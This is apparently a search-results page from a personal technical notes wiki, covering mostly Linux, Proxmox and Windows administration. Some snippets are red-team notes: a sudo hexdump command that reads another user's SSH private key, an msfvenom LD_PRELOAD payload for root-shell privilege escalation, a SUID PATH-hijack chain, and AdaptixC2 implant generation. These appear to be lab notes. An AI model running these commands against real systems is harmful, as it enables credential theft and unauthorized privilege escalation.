Skip to main content
Advanced Search
Search Terms
Content Type

Exact Matches
Tag Searches
Date Options
Updated after
Updated before
Created after
Created before

Search Results

216 total results found

Zeek: Add GeoIP Data to Logs

Packet Capture

Virtual Environments sudo apt install -y pipx pipx install zkg echo 'export PATH=$PATH:/opt/zeek/bin:$HOME/.local/bin' >> $HOME/.bashrc source $HOME/.bashrc Install Zeek Package zkg autoconfig zkg install geoip-conn sudo -i sed -i.bak 's/^# @load pac...

Get User Input (Shell Agnostic)

Linux Administration Command Line Tricks

function getUserInput () { if [ $# -gt 1 ] ; then echo "Usage example: $0" echo "Usage example: $0 -hidden" return else if [ $# -gt 0 ] ; then local arg=$(echo "$1" | tr '[:upper:]'...

Architecture

Red Teaming AdaptixC2 Notes

[10.6.6.0/24] [10.9.9.0/24] [10.80.80.0/24] | | | | | | | | ...

Troubleshooting

Red Teaming AdaptixC2 Notes

Gopher Agent Generation Problem Need to generate an agent implant for LINUX TARGET (see diagram), but receive unhelpful error code in the AdaptixClient UI (exit code 1). Solution ./adaptixserver -profile profile.json Launch adaptixserver with profile ltr...

403

Error Pages

zsteg

Steganography Image Steganalysis

Installation gem install zsteg for dir in $(find "$HOME/.local/share/gem/ruby" -maxdepth 2 -type d -name bin | sort -rh | head -n 1); do export PATH="$PATH:$dir" done Added to my shell  .rc file so that I can call ruby scripts by their installed name

Hexdump Privileged File Read

Linux

Read with Hexdump sudo -u user.name /usr/bin/hexdump -v -e '/1 "%02x"' /home/user.name/.ssh/id_rsa > hex.dump -v -e '/1 "%02x"' syntax tells hexdump to read byte-per-byte and output in lowercase hexadecimal, whereas hexdump may not preserve the original byte...

Adding Persistent Storage to Live-Boot Images

Linux Administration Live-Boot Linux Images

Hardware Configuration Memory: Assigned as needed Hard Disk: Add an extra hard disk to the live-boot VM, sized as needd CD / DVD: Live Boot .iso file NIC: Select desired network / VLAN Boot Order .iso file Hard disk NIC Etc. Procedure Partit...

Linux Shell Command

Metasploit Framework msfvenom

LD_PRELOAD Useful in privilege escalation scenarios where sudo command is configured with: env_keep += LD_PRELOAD, env_keep += LD_LIBRARY_PATH, or something to the same effect. msfvenom -p linux/x64/exec CMD="/bin/bash -ip" AppendExit='true' -f elf-so -o cmd...

Clustering: Same ZFS Pool on All Nodes

Proxmox Cluster Management

Example Configuration Showing clustered PVE nodes I have a ZFS volume called Guest_Disks that stores Disk image and Container data that is allocated to the rackdrives ZFS pool Migrating VMs between Nodes The Problem In order to migrate VMs and...

Adding Additional Storage Disks

Proxmox Node Management

Before When installing PVE, you have the option to create a LVM Thin pool or a ZFS Pool, which both support Thin Provisioning and Snapshots. In the case of the node below, it was created with a ZFS Pool which is labeled as local-zfs. This is where VM and LXC ...

SUID -> PATH Exploit Chain

Metasploit Framework msfvenom

In this example, assume there's a SUID binary that calls gzip by it's relative name, resolving gzip wherever it happens to be in the current user's $PATH variable. We use PrependSetresuid='true' to ensure the binary retains SUID permissions. SSH Persistence ...

Generate New UUID4

Linux Administration Command Line Tricks

echo $(cat /proc/sys/kernel/random/uuid)

Windows Host: Create Cloud-Init ISO File

VirtualBox

Example comes from my VirtualBox cybersecurity lab project mkdir "$env:USERPROFILE\Desktop\cloud-init-iso" [System.IO.File]::WriteAllText("$env:USERPROFILE\Desktop\cloud-init-iso\meta-data", @" instance-id: i-$(Get-Random) local-hostname: test-server "@, [Syst...

PowerShell: Configure Network Interface

Windows Administration PowerShell

Static Configuration Get-NetIPConfiguration -Detailed | Select-Object InterfaceAlias, AllIPAddresses, @{Name='DnsServer'; Expression = {$_.DNSServer.ServerAddresses}} | Format-List List current network configurations Must be run as Administrator to configure...

Preparing Synology NAS

Proxmox Proxmox Backup Server (PBS) on Synology

Virtual Machine Manager (VMM) Ensure you've installed the Virtual Machine Manager (VMM) package Check NFS Version Ensure NFSv4.1 is enabled PBS Service Account We'll create a service account for use with CIFS in case you prefer that option. In a later step,...

Install Proxmox Backup Server

Proxmox Proxmox Backup Server (PBS) on Synology

Virtual Machine Manager (VMM) Download Proxmox Backup Server ISO https://www.proxmox.com/en/downloads/proxmox-backup-server/iso Upload ISO to VMM Open VMM > Image > ISO File > Add > From computer Upload successful Create VM Add Network (as needed) Click Ne...

Map NFS Share in PBS

Proxmox Proxmox Backup Server (PBS) on Synology

Firewall Example rule in pfSense allowing PBS servers to reach ports (including NFS) on NAS servers Ports: 111 892 2048 Configure Share Permissions Create NFS Rule Go to Control Panel > Shared Folder > Right-click folder > Edit Go to NFS Permissions tab >...